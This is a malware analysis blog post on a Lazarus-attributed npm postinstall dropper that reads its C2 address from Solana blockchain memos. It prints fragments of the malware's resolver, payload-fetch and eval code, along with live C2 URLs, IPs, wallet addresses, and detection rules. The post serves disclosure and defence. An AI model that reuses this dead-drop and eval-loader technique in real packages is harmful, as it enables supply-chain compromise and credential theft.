Lazarus Group is Using the Solana Blockchain as a Dead-Drop C2 Channel -- and Nobody Noticed for 4 Months
Published: 2026-03-16 | Author: BGI | Investigation Date: 2026-03-16
TL;DR
A Node.js Stage-1 dropper attributed to Lazarus Group's TraderTraitor sub-cluster (UNC4899 / Jade Sleet / Slow Pisces) uses Solana blockchain transaction memos as a dead-drop resolver for C2 rotation. The operator posts base64-encoded C2 URLs as memos to wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC, and the malware reads them via the public Solana RPC API -- no domain to sinkhole, no DNS to block, no infrastructure to seize. The campaign has been running since November 2025 across 7 rotating Vultr VPS nodes in France, all on AS20473, with 51 memo transactions posted to the dead-drop wallet over roughly four months. AES-encrypted Stage-2 payloads have their keys delivered via HTTP response headers. A kill-switch (process.exit(0)) was ACTIVE during our live probing, suggesting the operator knew they were being watched. Every C2 IP had zero detections in ThreatFox, MalwareBazaar, and VirusTotal at the time of analysis. This was a live, unburned DPRK operation targeting macOS-first Solana developers via malicious npm packages -- and the same wallet address has since been linked to the GlassWorm VS Code extension worm and the ForceMemo GitHub repository compromise campaign.
The Blockchain Dead-Drop
Here is the core innovation: instead of hardcoding a C2 domain or IP into the malware, the operator writes the current C2 address into a Solana blockchain transaction memo. The malware reads it at runtime. When the operator needs to rotate infrastructure, they post a new memo. The malware automatically picks up the change on next beacon.
This is not theoretical. The wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC has 51 memo transactions dating back to November 27, 2025. Each one contains a JSON payload:
{"link": "aHR0cDovLzIxNy42OS4wLjE1OS9OVVRBcWE2dExBZTlodDgyNFBFemhRJTNEJTNE"}
The link value is base64 of a percent-encoded URL. Decoded:
http://217.69.0.159/NUTAqa6tLAe9ht824PEzhQ%3D%3D
The path component is a base64-encoded AES ciphertext used as a session token. The IP is the current C2 node. When the operator spins up a new VPS, they post a new memo. The malware fetches the latest one. Traditional IOC blocking is useless -- you would need to block the entire Solana RPC API.
The memo is posted via the standard Solana Memo Program (MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr), the same one every Solana dApp uses. There is no anomalous on-chain behavior to flag. The wallet balance is 6,481,670 lamports (~0.006 SOL). Low profile, high impact.
Why This Matters
Traditional dead-drop resolvers -- Pastebin, GitHub Gists, Telegram channels, Google Calendar events -- can be taken down with an abuse report. The Solana blockchain cannot. Memos are immutable. There is no abuse team to contact. There is no takedown mechanism. The data is replicated across every Solana validator node on the planet. The only defensive option is blocking RPC endpoints at the network level, which is a blunt instrument that breaks legitimate Solana development workflows.
This is the weaponization of blockchain immutability against defenders.
Kill Chain
[DELIVERY] Malicious npm package (postinstall script)
|
v
[STAGE 1: DROPPER] stage1_decrypted_wave1_48109c33cf45.js
|
+-- Sleep 120s (anti-sandbox)
+-- Check ~/init.json (48h beacon frequency limit)
+-- Poll Solana RPC for wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
| +-- getSignaturesForAddress (limit: 1000)
| +-- Find most recent tx with memo field
| +-- Parse JSON -> {"link":"<base64url>"}
+-- Decode base64 -> C2 URL (http://<IP>/<base64_path>)
+-- GET C2 URL with header "os: darwin/linux/win32"
| +-- Response: base64 payload body
| +-- Response header: ivbase64 (AES IV)
| +-- Response header: secretkey (AES key)
+-- Kill-switch check: if response.length == 20 -> process.exit(0)
+-- Platform dispatch:
+-- macOS: eval(atob(payload)) -- direct execution
+-- Win/Linux: vm.Script sandbox with AES context -> eval
|
v
[STAGE 2: ENCRYPTED PAYLOAD]
AES-CBC decrypt using header-delivered keys
-> credential stealer / RAT
(not recovered -- C2 was in kill-switch mode)
The kill chain is lean by design. Five function calls, no disk writes (except ~/init.json on macOS), no child processes, no network connections beyond Solana RPC and the C2 fetch. Everything runs inside the Node.js process that npm install already spawned.
Technical Analysis
The Sample
| Field | Value |
|---|---|
| SHA256 | 48109c33cf45749a7fdc2629a4c11d9afc59e5378a4a368e08b20f9dbfca7963 |
| MD5 | b81d8031450264845cdf79851b6a4807 |
| SHA1 | 5dfa031ccd4cb45f5338eeaad6416a54b15bf0f8 |
| File Type | Node.js JavaScript (esbuild-bundled) |
| File Size | 3,867 bytes |
| First Seen | 2026-03-15 18:23:02 UTC |
| Bundle Markers | __name, __defProp (esbuild output) |
| Delivery | npm postinstall hook |
The file is a minified Node.js module -- almost certainly a postinstall script from a malicious npm package targeting Solana/crypto developers. The esbuild output markers (__name, __defProp helpers) are visible in the bundle. At 3,867 bytes it is deliberately small -- well under the threshold that would trigger size-based anomaly detection in registry scanners. Let's walk through what it does.
Anti-Analysis: 2-Minute Sleep
new Promise(resolve => setTimeout(resolve, 2 * 60 * 1000)).then(_ => {
// all execution happens after 120 second delay
})
Most automated sandboxes timeout at 60-90 seconds. The 120-second sleep guarantees the malware never executes in standard analysis environments. This is the simplest, most effective anti-analysis gate in the playbook -- and it costs nothing operationally because npm install returns immediately while the postinstall script runs asynchronously.
Persistence: 48-Hour Beacon Limiter
The dropper writes ~/init.json containing {"date": <timestamp>}. On subsequent runs, it checks whether the last execution was within 48 hours and exits if so. This keeps beacon traffic to once every two days -- well below the noise floor for most SOC teams monitoring outbound connections.
+------------------------------------------------------+
| ~/init.json |
| {"date": 1710518400000} |
| |
| Written: macOS only |
| Checked: all platforms |
| Interval: 48 hours between beacons |
| Effect: max 15 beacons/month if machine runs daily |
+------------------------------------------------------+
There is a bug in the frequency check logic: !check?.date should be check?.date, which means the guard only fires if date is undefined. The practical effect is that the check only matters on macOS (where the file is written). Windows/Linux paths skip the persistence entirely. This is either a bug or intentional -- macOS is the high-value target, so rate-limiting only those beacons makes operational sense.
The Dead-Drop Resolver
async function _getSignFAddress(publicKey, options = {}) {
let endpoints = ["https://api.mainnet-beta.solana.com"];
let response = await fetch(endpoint, {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({
jsonrpc: "2.0", id: 1,
method: "getSignaturesForAddress",
params: [publicKey.toString(), {limit: 1000}]
})
});
return data.result;
}
The malware calls getSignaturesForAddress on the Solana mainnet RPC for wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC. It iterates through the results looking for the most recent transaction with a memo field, extracts the JSON, and decodes the base64 link value to get the current C2 URL.
This is the part that makes this dropper different from every other npm supply chain implant. The C2 address is not in the code. It is on the blockchain.
Note the single hardcoded RPC endpoint: api.mainnet-beta.solana.com. This is Solana Labs' official public endpoint. Later variants of this same infrastructure (documented in the GlassWorm analysis by Koi Security) expanded this to 9 fallback RPC endpoints, making the resolver resilient to any single endpoint being blocked. The evolution from one to nine endpoints across campaign variants tells us the operator learned from operational experience.
OS Fingerprinting and Payload Delivery
let response = await fetch(c2_url, {
headers: {os: os.platform()} // "darwin", "linux", or "win32"
});
let evxhb = data; // base64 payload body
let kypglnkfb = header.get("ivbase64"); // AES IV
let secretKey = header.get("secretkey"); // AES key
The C2 receives the victim's OS type and serves platform-specific payloads. The AES decryption key and IV are delivered in HTTP response headers -- not in the payload itself, not in the malware binary. This is operationally smart: if someone captures the encrypted payload in transit without the headers, they cannot decrypt it. If someone replays a captured request, they get a different key pair. The keys are ephemeral, generated per-request on the server side.
Kill-Switch
if (evxhb.length == 20) {
eval(atob(evxhb)); // evaluates "process.exit(0)"
return;
}
When the C2 returns exactly 20 bytes -- the base64 encoding of process.exit(0) (cHJvY2Vzcy5leGl0KDAp) -- the malware terminates gracefully. During our live probing on March 15, the active C2 at 217.69.0.159 was returning this kill-switch response. The operator had placed the server in deactivation mode, possibly aware they were being watched, possibly rotating to new infrastructure.
The kill-switch is elegant: 20 bytes is too short to be a real payload, so the length check doubles as a format validator. And because it's process.exit(0) -- exit code zero, success -- it leaves no crash logs, no error traces, no forensic artifacts in the npm installation output.
Platform-Specific Execution
On macOS (the high-value target), the payload is decoded and eval()'d directly in the main Node.js process. No sandboxing, no isolation. Full access to the filesystem, environment variables, and any crypto wallet data accessible to the running user.
On Windows and Linux, execution happens inside a vm.Script sandbox with the AES key and IV injected into the VM context:
+------------------+ +-------------------+
| macOS (darwin) | | Windows / Linux |
+------------------+ +-------------------+
| eval(atob(data)) | | vm.Script({ |
| Direct execution | | secretkey: key, |
| Full process ctx | | ivbase64: iv |
+------------------+ | }).runInNewContext |
+-------------------+
The Stage-2 payload was not recovered because the C2 was in kill-switch mode at time of analysis. Based on TraderTraitor's extensively documented behavior, the macOS payload is almost certainly a credential stealer targeting crypto wallets (Ledger, Phantom, Exodus, MetaMask), browser cookies, SSH keys, and .env files containing API keys and private keys.
Obfuscated Strings
The dropper uses base64 encoding for string obfuscation -- lightweight but sufficient to evade grep-based static detection:
| Encoded | Decoded | Purpose |
|---|---|---|
aXZiYXNlNjQ= | ivbase64 | HTTP header name for AES IV |
c2VjcmV0a2V5 | secretkey | HTTP header name for AES key |
cHJvY2Vzcy5leGl0KDAp | process.exit(0) | Kill-switch payload (20 bytes) |
Infrastructure & Attribution
C2 Rotation Timeline
All seven C2 nodes are Vultr VPS instances in France, AS20473. Same provider, same ASN, same Aubervilliers datacenter. The operator rotates every 2-4 weeks and occasionally runs two IPs simultaneously during transitions.
| IP | Active Period | Status | Notes |
|---|---|---|---|
217.69.11.60 | 2025-11-27 | Offline | Campaign launch |
45.32.151.157 | 2025-12-06 -- 2026-01-12 | Offline | Longest-lived node (37 days) |
217.69.11.57 | 2026-01-22 -- 2026-02-09 | Offline | |
45.32.150.97 | 2026-02-09 -- 2026-02-14 | Offline | Shortest-lived (5 days) |
217.69.11.99 | 2026-02-25 -- 2026-03-10 | Offline | OPSEC failure: plaintext memo |
45.76.44.240 | 2026-03-13 | Offline | Brief overlap with 217.69.0.159 |
217.69.0.159 | 2026-03-13 -- present | Active (kill-switch) | Currently returning kill-switch |
No TLS certificates on any C2 node. All HTTP, no HTTPS. The RDNS pattern is <IP>.vultrusercontent.com. Rate limiting is enforced at 30 requests per minute per client.
Infrastructure Map
SOLANA MAINNET
+------------------+
| Memo Program |
| MemoSq4gqABAXKb |
+--------+---------+
|
Wallet: BjVeAjPr...8o8SC
51 memo txns since Nov 2025
|
+----------------+----------------+
| |
[MALWARE READS] [OPERATOR WRITES]
getSignaturesForAddress new memo per C2 rotation
| |
v |
+-------------------+ |
| Victim endpoint | |
| (npm postinstall) | |
+--------+----------+ |
| |
| GET http://<C2>/<b64path> |
| Header: os: darwin |
v |
+----------------------------------------------+
| VULTR FRANCE (AS20473) |
| Aubervilliers datacenter |
| |
| :80 Encrypted payload delivery |
| :5000 C2 backend management (leaked) |
| :10000 DHT backup channel (leaked) |
| |
| 7 IPs rotated Nov 2025 - Mar 2026 |
| No TLS. Plain HTTP only. |
+-----------------------------------------------+
|
| Response headers:
| ivbase64: <AES IV>
| secretkey: <AES key>
| Body: base64(AES-CBC(stage2))
v
+-------------------+
| Stage-2 payload |
| (not recovered) |
+-------------------+
The OPSEC Failure: Plaintext C2 Config on an Immutable Ledger
On February 25, 2026, the operator posted a memo that was not the usual base64-encoded link. Instead, it contained a plaintext JSON configuration:
{"c2server": "http://217.69.11.99:5000", "checkIp": "http://217.69.11.99", "dht_data": "217.69.11.99:10000"}
This exposed three things the operator never intended to reveal:
-
Port 5000: A backend management interface for the C2 server. This is the operator's control plane -- separate from the port 80 payload delivery endpoint that victims connect to.
-
Port 10000: A DHT (Distributed Hash Table) backup channel. This means even if all HTTP C2 nodes are taken down, the operator has a peer-to-peer fallback channel for infrastructure recovery.
-
The full topology: Three distinct services per C2 node -- payload delivery, management, and resilience. This is not a script kiddie setup.
The memo is immutable. It will exist on the Solana blockchain until the chain itself ceases to exist. Every security researcher in the world can now see the operator's internal architecture with a single Solscan query.
Attribution: Lazarus / TraderTraitor (HIGH Confidence)
Five indicators converge on the DPRK-linked TraderTraitor sub-cluster:
| # | Indicator | Confidence | Rationale |
|---|---|---|---|
| 1 | Solana blockchain dead-drop C2 | HIGH | First documented in TraderTraitor operations (2024-2025). Shared wallet with GlassWorm campaign. No other threat actor has adopted Solana memos for DDR. |
| 2 | npm supply chain targeting | HIGH | TraderTraitor is responsible for dozens of malicious npm packages targeting crypto developers. The postinstall dropper pattern is their signature delivery mechanism (documented by GitHub Security, Phylum, Socket, Checkmarx). |
| 3 | macOS-first targeting | HIGH | Persistence logic only writes ~/init.json on Darwin. Direct eval() for macOS vs. sandboxed vm.Script for others. Lazarus/TraderTraitor consistently prioritizes macOS in the blockchain/DeFi ecosystem. |
| 4 | Vultr France infrastructure | MEDIUM | Multiple previous TraderTraitor samples linked to Vultr VPS in AS20473. The Aubervilliers datacenter is a recurring indicator. Single-provider concentration matches operational pattern. |
| 5 | AES key delivery via HTTP headers | HIGH | Header-based key delivery (ivbase64, secretkey) matches documented TraderTraitor Stage-1 dropper patterns. This specific naming convention has not been observed in other threat clusters. |
This is the same group behind the $1.5B Bybit theft (February 2025), the JumpCloud compromise (July 2023), and dozens of fake-job social engineering campaigns targeting crypto developers. The FBI, CISA, and Treasury have published joint advisories on TraderTraitor since 2022 (AA22-108A).
Wider Campaign Context: GlassWorm and ForceMemo
The wallet address BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC is not unique to this npm dropper. The same dead-drop infrastructure has been identified in two other concurrent campaigns:
GlassWorm (October 2025 -- present): A self-propagating worm targeting VS Code and OpenVSX extensions. First documented by Koi Security and Truesec. GlassWorm uses invisible Unicode characters to hide malicious code in extensions, reads C2 addresses from the same Solana wallet's memo field, and deploys AES-256-CBC encrypted payloads with header-delivered keys. The February 2026 macOS pivot added AppleScript execution, LaunchAgent persistence, and targeting of 49 cryptocurrency wallet extensions. The GlassWorm variants expanded the RPC fallback list to 9 endpoints -- an operational improvement over this npm dropper's single endpoint.
ForceMemo (March 8-13, 2026): Documented by StepSecurity, this campaign compromised 240+ GitHub Python repositories via account takeover and force-push. The injected code reads C2 instructions from the same Solana wallet, decodes base64 link fields from memos, and connects to the resulting URLs. Same wallet, same memo format, same JSON schema.
Three distinct delivery vectors -- npm packages, VS Code extensions, and GitHub repository compromise -- all converging on a single Solana wallet for C2 resolution. This is either a shared-infrastructure arrangement between cooperating threat actors or (more likely) a single operational team running parallel campaigns through different supply chain attack surfaces.
The GlassWorm campaign later rotated to a new wallet address (6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ) and new C2 IPs including 45.32.151.157 and 70.34.242.255 -- notably, the first of those IPs appears in our own C2 rotation timeline from December 2025 to January 2026. The infrastructure overlap is direct.
C2 URL Samples (Decoded from Blockchain Memos)
| Timestamp (UTC) | Decoded C2 URL | IP |
|---|---|---|
| 2026-03-15 16:46 | http://217.69.0.159/NUTAqa6tLAe9ht824PEzhQ== | 217.69.0.159 |
| 2026-03-13 12:57 | http://217.69.0.159/dq1IMEteQ4AbO3daeYGXZw== | 217.69.0.159 |
| 2026-03-13 09:25 | http://45.76.44.240/Xhwv9DF6OUXXS+phJ+eMgA== | 45.76.44.240 |
| 2026-03-10 12:36 | http://217.69.11.99/q6AUyyAAatxzpCw2im8XFg== | 217.69.11.99 |
| 2026-02-25 21:31 | http://217.69.11.99:5000 (plaintext leak) | 217.69.11.99 |
| 2026-02-14 16:05 | http://45.32.150.97/vKSWcUJjPjJKzMSMI5OECA== | 45.32.150.97 |
| 2026-01-22 14:26 | http://217.69.11.57/wxSFx1KWOe5O5Lge8ckMKg== | 217.69.11.57 |
| 2025-12-17 15:36 | http://45.32.151.157/i6+IgUpodpQRiO4SgmKkCw== | 45.32.151.157 |
| 2025-11-27 12:03 | http://217.69.11.60/uVK7ZJefmiIoJkIP6lxWXw== | 217.69.11.60 |
The base64 path components are unique per memo -- likely AES-encrypted session identifiers that the C2 uses to track which memo version the victim is responding to. This allows the operator to measure propagation speed of C2 rotations across the infected fleet.
IOCs
File Hashes
| Type | Hash |
|---|---|
| SHA256 | 48109c33cf45749a7fdc2629a4c11d9afc59e5378a4a368e08b20f9dbfca7963 |
| MD5 | b81d8031450264845cdf79851b6a4807 |
| SHA1 | 5dfa031ccd4cb45f5338eeaad6416a54b15bf0f8 |
Network -- C2 IPs
| IP | ASN | First Seen | Last Seen | Status |
|---|---|---|---|---|
217.69.0.159 | AS20473 (Vultr) | 2026-03-13 | 2026-03-15 | Active (kill-switch) |
45.76.44.240 | AS20473 (Vultr) | 2026-03-13 | 2026-03-13 | Offline |
217.69.11.99 | AS20473 (Vultr) | 2026-02-25 | 2026-03-10 | Offline |
45.32.150.97 | AS20473 (Vultr) | 2026-02-09 | 2026-02-14 | Offline |
217.69.11.57 | AS20473 (Vultr) | 2026-01-22 | 2026-02-09 | Offline |
45.32.151.157 | AS20473 (Vultr) | 2025-12-06 | 2026-01-12 | Offline |
217.69.11.60 | AS20473 (Vultr) | 2025-11-27 | 2025-11-27 | Offline |
C2 Ports
| Port | Protocol | Role |
|---|---|---|
| 80 | HTTP | Encrypted payload delivery (victim-facing) |
| 5000 | HTTP | C2 backend management (operator-facing) |
| 10000 | UDP/TCP | DHT backup C2 channel (resilience layer) |
Blockchain Indicators
| Indicator | Value |
|---|---|
| Dead-drop wallet | BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC |
| Memo Program | MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr |
| RPC endpoint | https://api.mainnet-beta.solana.com |
| Total memos | 51 transactions |
| Campaign start | 2025-11-27 |
| Wallet balance | 6,481,670 lamports (~0.006 SOL) |
| Related wallet | 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ (GlassWorm rotation) |
Filesystem
| Path | OS | Purpose |
|---|---|---|
~/init.json | macOS | Beacon frequency limiter ({"date": <timestamp>}) |
HTTP Indicators
| Indicator | Type | Value |
|---|---|---|
| AES IV header | Response header | ivbase64 |
| AES key header | Response header | secretkey |
| OS fingerprint | Request header | os: darwin|linux|win32 |
| Rate limit | Response header | x-ratelimit-limit: 30 |
| Kill-switch body | Base64 string (20 bytes) | cHJvY2Vzcy5leGl0KDAp |
| C2 URL path pattern | Regex | ^/[A-Za-z0-9+/]{20,28}={0,2}$ |
SSH Fingerprints (C2 Nodes)
| IP | Fingerprint |
|---|---|
| 217.69.11.99 | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbml... |
| 45.32.150.97 | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPuOZ90H2y+9PbIExrcXF7B0+EHIaOCLMBYo5mXl25Txf8MIaiVcnfs8JU6BPibsq4ujJO |
MITRE ATT&CK
| ID | Technique | Context |
|---|---|---|
| T1195.001 | Supply Chain Compromise: Compromise Software Supply Chain | Malicious npm package with postinstall dropper |
| T1059.007 | Command and Scripting Interpreter: JavaScript | Entire malware is Node.js; Stage-2 via eval() |
| T1102.001 | Web Service: Dead Drop Resolver | Solana blockchain memos as C2 address resolver |
| T1027 | Obfuscated Files or Information | Base64 encoding of URLs, header names, and payload |
| T1573.001 | Encrypted Channel: Symmetric Cryptography | AES-CBC encryption of Stage-2; key/IV via HTTP headers |
| T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | 120-second sleep before any execution |
| T1082 | System Information Discovery | os.platform() fingerprinting sent to C2 |
| T1036 | Masquerading | Poses as legitimate npm dependency |
| T1571 | Non-Standard Port | C2 backend on 5000, DHT on 10000 |
| T1070.009 | Indicator Removal: Clear Persistence | init.json timestamp prevents re-execution within 48h |
| T1622 | Debugger Evasion | vm.Script isolates payload execution context |
| T1041 | Exfiltration Over C2 Channel | Stage-2 data theft via HTTP C2 |
| T1583.003 | Acquire Infrastructure: Virtual Private Server | 7 Vultr VPS nodes provisioned over 4 months |
| T1008 | Fallback Channels | DHT backup on port 10000 for C2 resilience |
Detection Opportunities
Endpoint Detection
Hunt for ~/init.json on macOS endpoints. Any machine with this file containing {"date": <timestamp>} in the user home directory may be compromised. This is a low-noise, high-fidelity indicator. Roll this into your EDR queries immediately.
# macOS endpoint sweep
find /Users/*/init.json -maxdepth 1 2>/dev/null | while read f; do
echo "[ALERT] Suspicious init.json: $f"
cat "$f"
done
Check npm postinstall history. Review ~/.npm/_logs/ for any packages that executed postinstall scripts with network activity to Solana RPC endpoints.
Network Detection
Monitor Solana RPC calls from corporate networks. Unless your developers are actively building on Solana, getSignaturesForAddress calls to api.mainnet-beta.solana.com from non-development endpoints are suspicious. Alert on the specific wallet address in POST body content.
Suricata/Snort rule for C2 URL pattern. The C2 paths follow a distinctive format: ^/[A-Za-z0-9+/]{20,28}={0,2}$. This base64-padded path pattern over plain HTTP to Vultr IP ranges is highly anomalous.
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"BGI - TraderTraitor Solana DDR C2 URL Pattern";
flow:established,to_server;
content:"GET"; http_method;
pcre:"/^\/[A-Za-z0-9+\/]{20,28}={0,2}$/U";
content:"os:"; http_header;
classtype:trojan-activity;
sid:2026031601; rev:1;
)
Block or alert on custom HTTP headers. The combination of request header os: with response headers ivbase64 and secretkey is distinctive and not generated by any legitimate application.
Supply Chain Detection
npm audit for postinstall scripts calling Solana RPC. The esbuild bundling style with __name/__defProp helpers is distinctive. Any postinstall script making getSignaturesForAddress calls should be treated as malicious.
Monitor for the wallet address in code. Add BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC and 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ to your SAST/dependency scanning blocklists.
Immediate Action
Report to Vultr. All seven IPs, especially 217.69.0.159 (still active). Abuse contact: abuse@vultr.com, reference AS20473. A single provider takedown request could disrupt the entire campaign -- the operator's failure to diversify providers is an exploitable weakness.
Monitor the wallet on Solscan. New memos to BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC will reveal the next C2 rotation in real-time. This is free, real-time threat intelligence from an immutable source. Set up a Solscan alert or poll the RPC endpoint programmatically.
References
- CISA Advisory AA22-108A: TraderTraitor -- North Korean State-Sponsored APT Targets Blockchain Companies
- Koi Security: GlassWorm -- First Self-Propagating Worm Using Invisible Code (October 2025)
- Truesec: GlassWorm Self-Propagating VSCode Extension Worm
- StepSecurity: ForceMemo -- Hundreds of GitHub Python Repos Compromised via Account Takeover (March 2026)
- Red Asgard: Hunting Lazarus Part II -- When the Dead Drop Moved to the Blockchain
- Socket.dev: Lazarus Strikes npm Again with New Wave of Malicious Packages
- Wiz: TraderTraitor Deep Dive
- Solana Memo Program:
MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr
Investigation source: FGBOT automated collection. Sample hash 48109c33cf45. Original reporter: tipo_deincognito. Analysis by BGI.
Last updated: 2026-03-16. IOCs are being shared with CISA, Vultr abuse, and npm security.